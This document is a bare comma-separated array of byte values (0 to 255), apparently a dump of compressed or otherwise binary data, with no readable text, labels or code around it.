137,251,117,186,247,9,241,223,247,235,100,248,59,238,99,2,145,120,245,89,77,59,40,233,222,81,143,88,126,191,78,57,143,136,37,19,161,135,66,31,21,137,210,91,238,215,5,37,44,122,233,192,179,204,50,141,136,92,74,217,88,103,3,17,42,96,242,95,217,155,228,207,88,40,50,38,178,87,172,62,241,153,158,221,241,172,46,130,216,39,180,251,98,5,108,137,2,189,19,184,128,16,47,115,1,155,72,227,2,22,68,29,135,70,97,176,79,157,142,251,65,251,88,13,10,122,143,255,144,153,254,129,213,234,116,16,232,253,44,227,23,236,227,184,37,126,105,49,11,223,82,90,136,90,245,220,135,59,208,198,223,119,223,15,226,201,49,151,150,171,185,115,65,194,182,169,81,177,115,59,28,200,5,230,184,168,4,182,202,85,43,129,146,228,73,7,189,20,190,4,225,238,60,144,13,24,246,175,222,46,239,130,123,182,51,57,116,217,118,121,101,44,198,175,244,199,150,70,235,211,77,197,45,161,187,44,112,18,215,237,116,65,154,237,62,51,148,43,66,135,109,101,0,51,249,0,127,117,105,6,233,201,100,191,143,214,163,177,145,254,248,53,171,163,153,80,215,99,154,59,47,116,56,13,36,174,17,58,53,209,93,82,21,138,46,179,54,48,4,56,173,190,39,238,122,134,169,187,142,52,177,136,190,236,39,213,104,177,82,7,235,117,115,144,240,174,226,56,33,102,60,3,41,10,198,190,109,154,167,176,170,106,99,158,33,48,198,9,55,120,135,87,240,210,154,197,53,126,73,148,123,22,165,234,204,110,180,21,203,122,165,19,148,180,103,87,232,66,161,103,150,75,42,250,125,168,54,233,187,25,155,196,74,153,209,38,254,103,185,164,155,57,158,1,161,220,194,74,110,221,254,100,46,177,152,127,213,14,205,179,0,134,194,192,227,120,159,125,188,165,133,203,15,56,69,142,172,35,77,40,203,37,97,205,248,140,244,72,211,229,3,132,126,216,134,180,19,252,109,125,236,85,126,253,209,40,148,234,221,74,245,30,165,122,175,216,207,73,27,50,195,142,46,30,222,27,62,174,111,183,152,189,66,190,57,97,82,78,169,238,66,149,225,120,222,78,238,246,99,62,157,14,55,118,133,124,135,54,112,222,78,52,249,125,206,27,200,148,8,83,154,248,129,204,187,87,156,190,71,98,17,85,156,183,67,117,164,131,53,224,104,84,143,133,29,187,157,98,162,151,55,202,247,189,24,197,110,81,55,91,110,244,155,158,150,39,100,220,211,204,57,200,224,96,154,72,99,153,93,154,165,146,42,191,113,9,214,187,254,50,230,13,8,181,186,29,187,97,193,183,50,131,123,105,21,239,146,73,250,190,189,243,94,218,167,211,166,196,247,173,27,225,28,10,87,245,56,190,5,4,97,199,102,74,145,89,109,110,249,197,250,207,88,11,97,136,83,23,212,14,80,88,220,120,183,166,237,95,129,175,204,187,1,159,42,63,139,41,34,84,186,80,193,78,68,236,92,138,63,139,233,15,187,105,31,148,201,206,153,252,150,170,239,228,19,255,245,20,191,229,157,190,87,155,11,13,202,76,243,126,180,222,90,104,50,180,211,143,1,153,197,225,10,41,188,25,26,143,98,44,233,127,144,107,89,246,25,36,238,101,61,203,188,208,99,232,68,6,171,183,41,52,190,11,95,234,17,235,165,41,232,116,13,253,162,98,250,121,84,254,60,39,127,118,203,159,3,242,231,152,222,115,41,167,31,174,136,122,188,78,251,25,1,109,114,112,36,239,162,135,84,138,90,23,93,85,225,79,241,45,93,74,8,171,248,163,67,39,54,7,139,212,138,1,58,175,46,22,44,12,245,165,133,231,127,19,158,151,34,38,25,88,177,5,123,35,84,215,159,25,188,52,102,141,32,42,42,80,173,26,97,65,228,172,34,22,110,205,210,141,145,198,173,174,192,89,209,39,212,133,131,73,236,25,76,11,44,11,207,75,103,119,115,168,145,154,164,174,170,239,106,193,76,45,152,225,161,157,37,102,226,105,23,9,29,206,110,56,19,156,112,97,186,223,128,12,215,15,202,96,147,66,253,246,163,211,47,49,12,221,104,45,57,69,123,237,177,100,221,46,102,194,188,29,8,215,229,125,4,119,210,237,71,149,10,33,109,142,148,71,156,46,152,12,43,143,73,39,113,247,38,64,5,56,152,233,242,23,42,35,8,127,99,45,133,12,197,8,223,109,218,20,194,214,156,226,227,18,158,49,198,220,48,92,192,197,163,160,159,210,48,189,132,49,126,212,112,50,144,67,53,101,135,77,117,108,67,20,50,83,92,81,123,195,7,129,203,40,101,68,173,245,160,233,234,90,197,180,170,180,224,236,170,175,150,212,168,135,116,111,89,54,240,104,96,123,38,127,242,238,103,138,12,1,27,116,31,30,51,240,52,179,63,120,175,199,227,79,166,255,89,195,193,165,107,16,161,223,181,144,204,254,62,120,52,48,136,39,185,187,179,243,131,253,193,82,213,17,129,231,40,234,134,146,28,27,209,0,143,232,70,186,234,162,46,205,142,34,221,82,60,203,162,38,23,56,162,193,20,194,152,123,47,129,121,153,92,57,200,69,94,121,150,6,173,45,28,243,54,67,77,141,186,235,241,184,129,173,125,173,216,61,78,101,170,54,178,94,214,150,171,217,99,131,87,224,205,46,147,242,73,110,215,128,204,195,166,22,135,105,83,101,35,202,144,196,186,73,111,87,168,189,124,192,163,126,237,241,181,47,161,13,166,76,85,236,218,200,60,233,136,116,162,199,159,233,235,128,120,117,20,226,240,84,73,174,76,24,77,9,212,4,53,134,200,73,112,123,123,180,8,214,4,78,233,245,131,212,230,252,113,145,225,77,252,241,170,231,122,71,250,109,225,82,179,211,43,142,207,208,143,3,205,196,148,130,211,193,191,49,78,222,162,30,233,141,198,204,8,157,179,159,1,9,226,239,180,2,254,21,241,181,141,40,193,1,144,35,62,68,116,174,215,35,246,80,77,106,105,78,120,94,110,114,179,50,55,215,79,15,188,210,73,78,241,44,162,231,230,170,158,156,80,179,69,45,157,150,252,190,226,41,244,91,84,75,82,232,144,41,249,144,50,183,68,41,157,153,220,76,153,231,56,197,10,174,163,68,157,59,19,46,223,235,96,100,189,116,129,50,183,210,111,80,39,25,195,78,19,21,94,187,88,241,46,85,77,19,149,178,101,225,82,147,122,150,170,40,243,105,107,114,224,90,114,174,129,157,21,174,153,22,158,91,200,126,200,16,40,129,219,199,73,122,96,65,120,110,37,31,168,208,225,146,240,188,165,136,90,44,70,233,137,116,82,125,98,24,39,218,18,11,163,58,240,32,185,196,97,161,153,8,140,133,5,156,248,20,52,156,97,143,121,218,84,143,120,181,72,74,143,76,93,82,83,13,65,117,74,42,15,109,200,165,201,158,142,149,14,164,104,107,114,181,143,67,27,10,249,179,16,159,51,249,115,38,62,43,249,179,18,159,75,249,115,41,62,125,252,233,211,62,38,36,40,238,199,149,142,54,29,59,103,184,98,64,188,49,64,47,62,96,74,106,69,20,239,218,229,144,146,193,217,112,248,210,24,214,29,161,78,169,145,170,42,234,204,13,161,35,223,243,57,41,150,22,170,8,28,123,200,107,72,149,117,96,51,251,191,150,190,199,192,175,62,163,131,181,248,129,95,146,112,28,87,137,13,241,117,109,171,35,186,102,194,17,199,215,185,234,169,144,150,108,221,204,155,32,25,112,212,35,214,23,198,185,121,120,193,231,59,204,214,250,84,35,62,44,214,250,111,145,177,112,17,248,187,116,151,238,164,172,225,210,100,92,246,142,189,120,114,150,69,90,29,123,160,46,150,124,164,213,209,104,1,125,215,113,56,92,246,185,211,221,234,104,179,113,176,95,159,124,182,210,250,178,196,23,28,253,110,48,229,168,78,175,155,191,84,199,222,100,200,83,129,28,49,77,158,145,28,213,209,95,72,247,42,53,89,5,251,105,145,34,218,220,226,154,66,29,182,245,211,14,254,231,237,82,65,182,119,126,163,135,102,170,215,205,220,250,143,97,91,72,61,142,27,66,164,243,52,225,110,152,42,171,75,27,84,29,252,217,189,127,123,172,62,224,174,226,185,88,48,162,131,206,35,113,65,112,72,185,138,174,66,16,168,223,148,2,216,134,8,5,32,35,251,232,237,192,16,204,189,227,212,185,166,240,83,136,118,138,15,225,105,175,190,41,112,131,91,102,68,190,101,183,235,15,117,25,65,35,159,18,119,235,28,108,25,164,88,34,27,91,125,209,198,198,234,141,93,171,142,136,181,117,183,222,214,141,131,218,138,222,246,221,182,214,152,46,222,152,75,2,141,240,207,59,146,217,68,48,171,48,190,221,199,238,132,131,230,224,213,218,26,11,129,30,150,123,42,253,1,173,255,143,186,225,77,188,232,17,70,199,174,14,61,108,49,4,175,167,202,217,213,247,120,100,152,103,18,227,56,53,104,117,75,5,66,122,63,245,128,36,20,222,119,24,246,21,192,230,124,122,30,231,128,155,205,7,202,81,235,49,78,17,27,100,252,37,50,66,84,148,131,241,107,83,143,195,93,195,150,8,228,101,9,109,128,70,210,206,246,66,131,184,164,156,153,190,78,159,237,253,66,131,94,228,236,28,42,50,25,205,186,91,135,24,153,228,228,167,250,209,178,200,164,218,253,122,99,226,114,10,196,198,123,61,141,252,35,186,155,225,91,91,82,57,228,228,16,226,228,82,103,217,196,137,243,192,144,228,124,193,249,166,180,95,60,16,24,175,194,98,177,218,114,211,145,100,2,59,240,90,10,39,230,112,53,13,253,159,155,34,193,47,164,198,19,91,52,43,252,44,166,102,250,139,73,23,98,128,191,200,249,14,70,56,231,143,132,113,125,111,51,48,194,147,11,12,61,185,155,161,49,124,202,27,62,136,69,210,53,63,195,143,241,152,38,210,120,195,143,241,136,174,199,231,92,147,184,121,51,162,120,157,174,221,60,72,141,83,130,36,0,72,127,90,213,206,105,192,234,234,84,104,17,70,129,176,176,109,174,52,152,161,127,172,26,211,106,105,45,53,77,31,142,7,226,92,179,120,136,162,84,135,13,143,86,223,79,63,32,68,178,148,146,109,62,104,120,62,66,40,53,72,225,53,96,114,71,99,54,59,44,162,109,155,196,169,155,232,23,207,50,30,138,232,170,167,65,241,240,62,162,47,194,36,121,90,8,53,204,249,44,166,56,218,136,106,37,252,202,98,69,41,123,147,215,111,174,10,215,117,217,79,158,126,73,77,181,107,138,163,171,88,37,8,175,84,247,193,67,25,109,138,110,188,55,220,94,165,174,159,96,157,49,201,40,125,70,79,147,164,205,91,213,212,112,185,5,42,143,3,153,180,199,233,89,226,162,71,80,46,205,75,158,236,171,26,17,87,82,47,97,165,51,65,231,146,52,56,15,20,162,43,151,67,101,157,242,47,213,113,130,192,108,154,69,55,189,193,114,61,218,200,18,68,118,52,156,12,94,66,129,101,133,216,239,189,55,234,70,216,252,120,78,251,177,207,102,74,148,35,217,174,149,209,237,190,140,233,166,216,116,173,139,160,41,250,127,106,107,25,183,101,251,143,109,21,123,189,84,255,2,73,202,27,47,49,206,233,153,38,131,33,120,149,175,125,72,140,184,62,40,211,127,234,132,220,223,232,133,93,227,126,120,121,22,99,29,177,214,55,24,216,241,166,219,111,188,176,51,67,245,206,244,206,4,149,145,91,154,163,43,254,201,238,132,162,63,12,102,226,206,27,14,209,201,40,114,129,80,92,103,30,148,213,54,184,71,52,172,43,213,135,77,131,163,128,106,250,190,7,248,141,222,30,77,184,49,128,110,109,184,188,93,169,62,230,91,183,28,70,113,250,197,163,75,52,205,215,181,92,10,233,60,140,192,82,191,164,202,175,66,160,221,47,137,250,119,33,80,120,143,36,203,87,114,202,61,146,219,62,155,2,180,24,169,198,36,58,20,237,146,92,10,254,192,27,249,146,51,252,38,232,148,38,150,122,58,64,207,80,72,18,43,213,221,162,169,18,106,255,112,207,236,171,92,33,25,26,198,37,186,228,227,156,124,112,143,186,105,175,189,188,133,247,218,112,214,59,206,211,77,121,81,37,226,181,74,248,140,7,103,210,84,134,215,56,180,7,238,173,148,78,202,55,231,193,174,137,236,208,137,68,135,110,208,59,116,173,222,33,106,121,163,222,242,150,26,189,229,15,242,98,45,79,218,34,43,155,76,49,88,80,128,249,88,165,29,137,74,79,228,201,74,33,220,168,87,186,87,175,116,98,172,210,186,120,165,159,61,34,43,237,154,42,43,125,134,74,29,228,170,42,250,8,154,204,25,43,165,176,234,6,181,213,231,244,160,196,10,189,157,187,140,82,9,251,249,169,137,44,157,50,203,44,61,203,12,99,124,194,15,131,42,162,84,183,181,58,186,89,125,100,54,189,76,253,67,42,97,134,178,252,24,189,165,246,58,125,221,212,91,177,165,154,25,29,7,170,64,239,238,215,251,191,170,90,239,255,91,83,193,224,189,151,207,195,120,191,85,22,23,104,226,48,225,217,179,99,217,158,166,108,91,171,191,129,165,215,35,142,111,140,244,88,217,101,6,112,23,66,52,176,77,93,240,211,255,216,192,206,33,176,3,238,244,74,81,45,200,129,231,85,127,19,28,135,74,142,76,161,206,199,118,83,151,28,216,202,169,44,144,52,220,126,178,24,193,157,148,165,119,54,200,61,47,123,228,30,58,214,234,56,134,251,139,105,64,119,235,145,135,65,166,63,38,118,47,214,187,119,118,10,86,225,24,173,66,85,131,92,133,133,83,176,10,193,97,40,245,17,149,234,189,4,95,199,60,32,81,21,99,147,53,123,36,33,38,187,65,18,89,50,27,36,13,45,189,65,18,82,108,13,146,52,98,110,144,114,105,6,189,98,227,20,131,97,176,92,33,65,103,233,12,194,23,185,155,249,112,74,93,84,92,190,88,138,97,213,9,218,77,70,54,233,69,241,125,23,178,27,202,252,73,76,30,154,59,73,140,173,196,226,44,243,73,238,219,255,46,210,169,165,153,60,44,66,211,196,102,136,169,151,119,65,185,206,236,145,190,146,215,77,198,8,3,198,50,144,41,79,87,72,166,208,194,122,153,184,104,178,116,218,29,239,100,54,224,67,147,122,202,159,194,32,205,9,209,66,120,205,1,71,92,113,244,209,85,162,67,184,14,136,243,194,44,75,184,52,187,213,209,105,100,244,181,219,126,84,167,57,12,224,33,142,247,171,139,46,15,127,174,139,0,151,19,197,130,132,108,138,41,245,192,178,0,216,144,103,128,243,17,28,165,124,126,131,158,17,107,173,195,102,60,205,130,197,110,29,128,159,201,15,14,172,153,172,126,22,42,48,4,110,209,236,24,196,255,44,4,149,169,27,159,227,189,140,16,221,0,122,198,154,144,188,172,67,45,57,165,5,193,129,85,255,19,186,171,211,128,165,171,134,216,172,163,147,145,213,123,206,228,208,188,104,147,110,19,91,22,234,194,137,237,149,146,193,54,5,217,170,59,212,146,219,178,32,159,121,151,48,40,197,57,34,51,86,235,67,57,134,96,17,109,146,252,234,174,192,139,106,176,219,159,228,17,95,71,225,20,99,41,196,25,148,234,46,33,38,17,252,213,103,18,134,218,226,19,215,0,12,169,135,221,15,151,15,208,3,244,168,181,254,78,88,217,185,221,96,173,199,96,212,178,172,130,226,156,96,129,54,21,131,250,71,21,211,150,25,93,56,86,164,139,218,170,199,180,169,226,67,74,9,207,46,17,59,29,146,206,27,218,172,227,39,229,3,165,161,214,156,130,83,171,118,247,12,211,88,5,217,229,242,101,47,151,124,222,159,85,1,142,47,151,188,221,199,171,36,82,40,110,61,7,51,63,166,224,37,242,169,35,110,137,34,97,192,41,174,24,156,64,225,145,81,201,104,188,98,179,108,116,4,253,198,136,51,225,10,17,106,206,20,255,26,109,48,156,237,184,170,233,108,135,158,144,41,9,42,190,141,188,117,251,232,117,45,70,161,23,250,89,16,195,184,23,3,74,176,203,233,27,77,231,222,67,227,85,130,221,23,28,4,107,195,215,216,110,116,20,124,157,250,9,248,176,82,183,246,182,107,98,236,4,108,220,196,6,179,197,166,137,18,188,30,225,50,81,150,16,123,204,197,167,67,252,112,62,144,222,117,48,42,22,241,73,213,123,232,156,95,230,51,47,143,135,172,245,27,185,228,128,236,16,147,235,47,60,151,119,114,87,98,135,113,102,172,43,99,226,93,249,215,70,92,92,1,187,20,27,235,18,86,106,30,98,229,253,98,216,2,100,158,157,41,150,121,36,243,246,29,22,221,20,176,6,44,14,110,148,35,120,123,2,42,138,138,151,55,202,69,69,21,246,249,242,252,254,116,163,132,66,63,209,243,62,65,121,47,244,0,65,205,240,236,66,52,119,183,87,206,110,93,159,28,12,36,96,9,19,188,112,56,185,184,103,244,225,68,197,131,94,125,56,115,101,47,104,56,215,241,112,130,217,136,29,135,216,179,56,45,191,112,201,17,152,245,158,12,157,96,208,159,212,190,5,93,11,12,49,214,198,229,78,190,93,26,220,154,110,149,175,227,97,168,2,71,123,223,140,241,71,23,235,126,98,188,202,226,172,12,250,151,73,255,108,18,119,23,53,99,12,132,20,25,131,67,153,231,212,145,78,11,179,54,15,239,65,201,141,183,54,60,8,93,22,126,84,153,189,204,153,170,20,255,123,45,162,194,101,133,120,139,125,229,225,216,66,241,54,197,162,98,250,151,166,55,146,37,180,12,26,205,188,74,106,33,92,146,149,29,156,65,152,234,218,101,180,241,43,13,6,105,92,110,244,60,221,169,212,107,24,70,32,11,62,167,108,62,67,155,145,30,197,223,80,154,90,146,149,17,126,12,225,20,67,222,121,173,183,144,80,62,212,112,194,27,171,225,227,185,122,13,15,92,80,195,45,168,97,127,162,134,91,80,195,7,231,53,167,139,51,255,124,30,79,121,14,27,169,155,234,212,157,102,221,34,63,242,68,231,213,108,11,142,222,207,244,17,122,87,235,121,77,242,143,49,252,150,49,76,147,77,103,110,178,147,163,190,205,212,179,119,102,234,217,10,197,115,131,178,101,57,57,234,35,153,45,79,188,158,169,251,195,122,107,158,222,242,222,121,122,203,63,136,181,92,133,143,181,211,18,107,17,92,37,215,97,99,133,190,14,229,215,240,228,82,253,153,244,140,192,172,28,244,24,12,249,52,247,193,17,92,251,18,170,180,103,50,204,116,201,158,15,253,110,151,42,69,113,172,231,215,198,186,116,163,236,137,83,116,80,110,122,138,62,253,13,115,38,214,200,159,9,231,248,26,72,103,163,71,155,175,160,50,101,75,157,225,178,197,78,191,169,231,70,35,124,160,189,39,124,209,65,121,106,6,231,73,237,1,69,71,180,126,77,0,170,237,110,221,120,160,15,194,89,17,105,98,91,253,136,182,178,154,198,172,84,152,168,130,232,40,45,147,172,234,242,193,85,37,247,192,38,170,58,47,71,228,223,100,48,196,155,251,114,228,160,60,41,61,120,71,171,147,241,236,144,62,129,62,82,203,230,208,12,20,169,167,11,216,157,216,111,33,3,90,86,130,37,8,155,246,56,69,214,2,230,251,218,156,226,95,95,105,210,40,150,2,113,207,178,57,165,216,219,5,145,85,71,245,234,250,33,158,245,81,184,44,91,26,10,236,117,199,10,30,136,21,116,82,65,61,155,75,124,114,154,231,228,150,120,223,134,80,177,73,34,29,204,173,121,180,114,191,89,161,239,226,63,251,226,15,229,222,34,241,246,104,253,120,242,224,46,27,52,56,55,151,239,240,233,229,151,199,202,239,76,148,247,155,23,177,155,182,202,114,93,122,82,253,11,187,114,129,136,71,215,55,146,144,160,14,223,72,176,196,45,118,62,4,94,207,122,152,6,63,169,140,65,156,120,156,162,126,177,12,54,181,199,172,151,14,102,198,122,212,149,3,222,240,180,61,4,123,47,13,63,60,160,90,197,61,148,73,25,11,147,32,95,82,19,195,151,114,118,89,104,5,255,245,161,42,7,215,190,152,35,144,69,76,226,136,74,142,64,180,24,199,17,11,56,2,209,226,50,142,112,114,4,162,133,145,35,102,114,4,162,69,4,107,55,188,132,35,16,45,62,227,136,66,142,64,180,56,14,227,109,121,28,70,236,162,65,148,13,95,102,87,140,8,34,65,123,54,61,60,220,23,26,188,234,120,27,153,194,193,142,184,193,171,131,136,208,205,107,65,219,187,218,162,76,175,239,130,189,170,117,244,23,156,44,101,76,128,91,62,39,197,72,96,177,215,183,248,110,41,55,246,176,139,53,169,44,176,234,194,44,242,253,152,87,241,198,60,41,203,148,249,67,102,144,217,207,40,65,218,235,20,240,249,244,130,165,131,10,254,153,110,129,55,177,62,78,245,93,241,176,94,244,47,15,114,81,20,252,148,62,101,189,143,150,243,150,115,83,190,77,242,115,230,155,210,130,143,217,45,78,59,161,47,9,49,172,30,124,249,205,184,3,183,213,210,39,184,144,126,121,155,123,107,101,245,143,36,170,127,136,62,123,51,221,62,180,32,11,85,232,133,254,182,92,22,186,182,22,78,1,75,123,32,42,36,14,91,177,127,83,173,155,239,69,232,110,171,124,129,45,69,96,235,21,188,181,3,55,249,48,26,89,161,17,21,152,244,10,159,214,43,124,255,46,84,216,3,25,38,22,71,48,139,40,129,124,125,242,234,230,74,9,225,63,175,211,133,21,204,226,83,138,138,207,80,181,158,222,178,14,23,117,196,126,134,185,118,30,223,237,70,171,193,227,241,248,214,209,20,235,183,245,98,248,232,162,167,77,191,18,236,39,112,230,209,38,163,5,198,13,43,11,117,51,66,144,64,146,131,23,221,255,224,57,181,235,115,49,20,93,157,117,151,236,250,73,159,236,250,21,20,230,77,164,159,72,245,72,15,236,78,113,137,248,182,240,97,17,131,22,88,60,253,240,86,160,4,102,49,146,122,235,214,151,223,34,202,230,161,214,227,226,117,78,181,136,179,107,245,90,247,99,111,123,125,127,251,162,144,166,51,47,126,238,97,59,228,230,65,179,154,132,174,188,188,76,118,173,80,239,218,67,203,226,54,223,116,50,147,37,78,133,213,15,7,31,132,148,37,176,154,54,125,101,23,155,159,155,142,227,236,79,175,178,94,154,194,231,106,50,14,30,5,248,156,78,230,211,63,121,5,159,214,117,76,151,181,41,121,225,153,38,122,246,156,131,109,202,151,122,147,212,227,202,112,128,135,253,40,232,11,212,18,26,197,211,172,76,102,152,179,102,54,13,237,81,138,125,19,103,222,75,11,184,140,98,124,187,107,37,238,52,125,174,196,243,6,196,181,119,96,11,48,44,249,225,28,137,53,119,177,61,169,40,48,224,255,165,79,17,74,147,176,115,178,175,157,138,83,85,163,193,115,255,144,245,79,103,65,248,133,183,200,113,241,189,57,18,219,222,177,6,118,134,222,21,95,81,213,189,99,101,198,55,7,103,188,84,207,184,150,50,190,29,65,157,199,189,226,214,57,178,20,104,158,62,27,173,152,236,84,250,28,102,247,31,25,65,143,123,0,56,88,100,126,31,67,201,190,155,45,50,71,49,208,146,187,101,29,189,179,101,29,127,158,13,64,221,136,217,143,97,156,11,60,254,18,152,136,216,237,113,138,221,215,107,186,73,97,214,121,179,193,135,137,35,13,46,165,155,106,21,71,167,212,59,219,221,234,216,93,130,215,186,199,227,183,65,70,13,42,115,173,142,14,35,46,162,145,253,242,145,51,84,117,68,74,119,46,126,170,136,119,219,175,131,84,47,225,149,210,120,42,98,158,10,198,201,204,8,62,162,7,91,141,150,123,117,120,217,29,117,185,164,197,139,50,147,2,193,171,50,27,253,88,122,175,210,214,102,64,220,202,111,112,18,174,55,50,71,182,55,26,7,221,74,195,190,153,121,210,13,103,30,238,232,77,3,235,20,113,163,245,184,13,73,246,51,20,4,171,7,104,238,32,15,161,233,120,223,247,188,192,68,191,1,128,213,227,244,89,232,20,199,175,211,31,101,209,42,63,227,195,112,237,166,173,49,199,184,180,214,250,199,184,12,91,69,19,74,121,223,86,75,30,222,164,193,168,87,60,239,128,153,177,29,84,67,21,79,28,61,75,143,150,0,70,244,243,183,205,33,137,13,171,74,33,63,38,149,47,223,163,205,160,166,170,199,53,167,9,120,249,202,128,124,49,248,2,232,69,132,133,112,255,225,128,186,20,189,8,92,244,60,119,81,87,148,114,24,28,42,146,184,52,12,251,196,232,144,247,6,46,157,14,239,44,129,97,161,54,173,119,72,220,222,207,81,246,82,25,222,144,6,119,146,183,107,35,59,105,36,5,165,233,129,155,67,27,108,134,192,124,109,13,97,238,211,128,128,108,189,220,192,188,220,108,10,76,7,137,35,56,204,127,30,17,236,149,244,61,209,8,90,214,92,155,216,195,191,38,177,139,127,45,98,7,255,154,5,156,154,133,106,211,117,114,60,63,36,189,251,43,105,75,136,135,52,253,89,228,232,194,179,201,126,6,36,249,82,12,81,74,157,117,195,208,15,219,91,235,178,48,93,8,234,110,130,174,200,92,57,206,250,40,102,125,250,46,182,118,212,79,175,119,63,76,138,99,113,180,143,213,49,121,69,16,12,253,16,249,218,153,129,202,36,24,222,187,125,131,234,96,112,159,196,70,94,150,62,5,193,47,39,0,240,199,122,201,167,19,169,203,98,169,17,61,53,176,30,39,23,150,101,240,254,253,189,129,197,166,194,14,51,63,244,7,152,129,52,157,142,184,120,110,128,65,212,92,128,19,149,115,247,137,144,65,18,0,31,226,158,249,13,30,16,23,74,48,221,43,159,2,165,193,135,9,242,221,216,83,200,169,59,125,104,155,157,150,238,92,241,20,227,232,147,24,76,113,45,3,98,178,94,219,205,122,95,198,235,173,192,47,174,156,106,219,121,220,109,56,99,215,174,138,203,220,154,8,90,156,98,63,165,64,254,129,173,132,174,51,212,180,88,179,83,30,15,2,90,239,196,132,236,196,184,249,8,55,162,166,214,20,252,197,241,36,104,140,110,49,143,37,52,29,185,12,158,160,201,126,166,247,22,23,110,155,0,164,50,164,171,73,24,125,42,103,203,233,143,22,179,86,217,100,158,203,145,199,152,206,142,78,133,31,208,33,131,41,110,212,210,236,113,185,212,83,152,196,166,82,121,68,242,64,222,156,155,233,20,127,249,190,140,56,186,88,222,185,243,30,72,152,172,252,78,217,122,189,236,192,98,189,236,111,244,178,97,189,236,229,177,178,58,204,249,197,122,140,41,52,30,63,114,238,122,78,12,48,249,69,117,240,40,198,47,220,185,14,51,186,99,40,221,175,233,247,202,171,245,39,242,244,178,88,232,172,153,80,65,248,150,171,111,77,65,61,108,95,244,183,43,37,108,19,63,131,167,178,241,168,67,206,168,222,150,156,216,28,29,238,233,238,69,146,82,193,158,43,148,178,74,187,96,82,181,17,127,227,86,225,159,52,178,205,92,147,135,129,160,169,152,225,108,173,250,99,198,137,36,12,132,169,205,84,109,164,141,210,124,57,246,203,177,183,154,182,83,255,91,175,145,28,245,227,2,230,144,107,116,148,125,83,95,134,89,250,153,73,165,203,244,235,66,245,20,213,92,73,199,101,0,166,58,213,14,109,100,58,85,100,125,123,230,48,151,58,147,102,186,95,155,224,20,30,89,21,101,244,210,253,64,47,172,8,101,62,152,4,131,200,138,227,43,79,184,65,156,149,76,90,247,53,58,147,22,17,30,54,175,38,107,79,163,74,55,78,127,10,62,183,130,215,19,188,246,219,112,80,221,218,200,40,213,100,253,195,112,164,192,32,189,227,248,86,254,174,63,26,232,212,45,65,115,167,87,192,212,220,240,189,219,217,81,89,15,24,129,126,75,21,156,148,137,207,161,34,223,209,112,146,174,162,111,236,77,140,26,216,79,170,229,221,247,52,91,194,141,152,136,124,107,48,117,143,81,253,172,55,121,155,67,171,111,10,142,119,17,30,83,17,133,8,65,138,65,220,192,154,212,221,234,233,35,197,38,163,146,92,245,226,139,47,246,212,195,142,218,67,38,163,181,225,7,48,223,136,113,134,27,182,235,67,92,153,41,135,88,183,199,222,116,141,35,114,13,193,37,115,213,233,151,194,117,237,47,189,84,251,146,90,215,183,173,44,121,154,49,152,61,168,152,51,188,214,228,193,250,97,22,172,251,188,102,90,147,39,233,17,217,3,144,50,45,89,247,138,145,25,118,236,65,3,214,76,88,68,75,130,103,182,189,144,102,106,117,0,0,211,207,129,84,108,179,113,148,108,61,56,207,164,70,92,225,121,41,46,143,216,63,22,231,176,11,208,207,111,116,90,15,150,153,224,243,118,39,98,15,103,75,112,184,199,201,70,202,51,165,32,66,17,242,88,247,45,200,131,179,42,117,102,122,120,150,137,233,156,211,76,193,235,254,173,215,163,46,232,117,117,18,75,64,208,132,133,43,218,157,254,97,52,137,237,41,134,35,142,15,141,162,139,58,119,79,129,69,61,173,58,250,171,170,148,98,179,253,232,166,86,204,63,77,108,82,216,209,169,148,119,58,93,47,186,125,247,157,42,52,184,94,116,189,40,161,157,26,236,235,189,140,254,128,118,39,60,218,106,179,228,55,123,132,115,44,223,167,59,156,2,180,101,125,235,132,235,186,213,8,150,200,218,240,237,183,9,255,9,122,42,248,120,94,53,93,93,103,14,204,247,248,12,153,52,89,103,174,6,117,215,224,43,132,129,128,8,204,112,232,2,3,129,107,8,96,143,113,59,213,143,88,24,199,35,186,174,230,101,141,237,209,166,222,17,144,191,226,174,252,55,42,169,89,178,168,90,151,146,26,131,109,8,99,240,212,130,250,149,248,201,213,146,1,104,241,155,156,94,113,211,213,146,173,97,166,183,181,137,94,103,87,75,121,229,50,51,161,93,86,228,116,152,105,89,164,159,9,176,10,49,90,175,248,193,213,186,145,82,93,40,237,23,250,78,63,136,54,104,194,61,34,135,114,120,160,242,54,238,106,22,151,80,59,112,141,170,231,113,189,218,155,170,170,216,41,20,93,37,230,202,155,90,157,44,114,203,67,85,224,116,215,90,15,234,5,251,123,96,52,166,124,192,153,252,158,219,37,30,30,163,105,201,117,102,216,12,215,204,235,15,65,123,221,17,241,155,96,217,111,12,143,130,70,192,116,102,207,24,116,60,26,58,156,110,135,120,235,100,191,225,223,27,9,76,193,180,78,136,87,126,109,188,114,56,63,143,174,127,151,48,28,165,20,62,193,221,202,8,165,212,44,238,163,12,85,189,67,142,164,240,140,39,196,157,54,245,101,198,32,148,223,232,31,85,233,172,133,82,136,4,80,254,81,106,71,165,223,86,203,236,241,62,154,210,3,25,188,108,181,74,221,95,193,100,204,136,129,20,244,229,230,131,114,51,119,1,22,225,100,189,158,161,67,167,46,29,58,245,57,81,191,220,225,131,161,77,58,108,82,24,99,93,72,90,228,174,85,191,162,185,151,125,160,17,170,81,192,175,190,90,165,186,207,233,85,202,35,181,74,240,159,137,118,111,212,219,21,177,118,167,103,124,7,42,194,16,42,55,170,91,80,101,23,46,144,194,254,84,61,39,102,100,176,204,20,68,166,26,180,192,120,216,64,238,228,183,149,242,60,155,210,160,55,103,201,63,19,78,206,129,239,13,245,136,76,42,37,61,138,181,180,72,158,55,115,202,169,190,175,174,162,214,175,167,237,223,106,202,2,233,138,49,145,153,69,186,238,242,164,34,249,154,219,112,187,124,251,116,47,7,123,228,131,171,152,43,173,123,80,163,59,3,112,176,157,174,174,214,134,110,186,221,50,248,9,144,169,163,228,190,206,123,89,67,39,67,154,24,73,11,135,145,199,165,181,111,115,156,159,150,20,48,79,75,14,208,195,237,40,244,249,255,63,84,119,101,188,186,208,91,176,100,155,68,123,159,253,233,162,66,189,190,66,86,42,178,159,108,117,68,32,163,37,141,227,55,52,177,86,209,0,29,242,83,74,117,63,224,189,33,69,252,254,74,94,139,86,135,244,236,128,165,224,255,124,153,96,55,103,130,143,7,233,212,116,41,86,48,158,249,2,12,67,219,120,191,200,90,129,129,210,10,174,144,84,121,221,182,118,126,245,0,228,69,104,151,172,100,221,66,100,196,83,252,131,219,25,245,137,157,237,73,204,189,195,117,97,63,137,7,113,245,128,250,21,156,230,69,148,234,40,251,35,31,112,250,179,93,52,124,217,131,59,208,186,54,133,90,179,201,136,124,21,108,221,46,48,242,206,16,168,45,165,23,156,180,100,218,14,206,